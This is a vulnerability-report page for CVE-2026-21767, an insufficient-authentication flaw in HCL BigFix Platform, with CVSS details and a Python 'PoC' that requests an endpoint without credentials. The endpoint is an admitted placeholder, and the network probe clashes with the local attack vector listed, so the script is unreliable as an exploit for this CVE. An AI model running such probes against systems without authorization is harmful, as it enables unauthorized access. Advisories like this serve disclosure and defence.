Security Vulnerability Report
中文
CVE-2026-21767 CVSS 4.0 MEDIUM

CVE-2026-21767

Published: 2026-04-02 00:16:24
Last Modified: 2026-04-16 16:05:39

Description

HCL BigFix Platform is affected by insufficient authentication.  The application might allow users to access sensitive areas of the application without proper authentication.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:bigfix_platform:*:*:*:*:*:*:*:* - VULNERABLE
HCL BigFix Platform (具体受影响版本请参考官方公告 KB0129906)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21767 PoC Concept (HCL BigFix Platform Insufficient Authentication) # Description: This script attempts to access a sensitive endpoint without authentication. import requests import sys def check_vulnerability(target_url): # Example sensitive endpoint that should require authentication # Replace with actual vulnerable endpoint path based on vendor advisory sensitive_path = "/api/sensitive/configuration" full_url = f"{target_url}{sensitive_path}" print(f"[*] Attempting to access: {full_url}") try: # Send request without any authentication headers or cookies response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Potential vulnerability detected!") print("[+] Server responded with 200 OK without authentication.") print(f"[+] Response snippet: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. Authentication is working properly.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target_ip:port>") else: check_vulnerability(sys.argv[1])

References

Raw JSON Data

JSON
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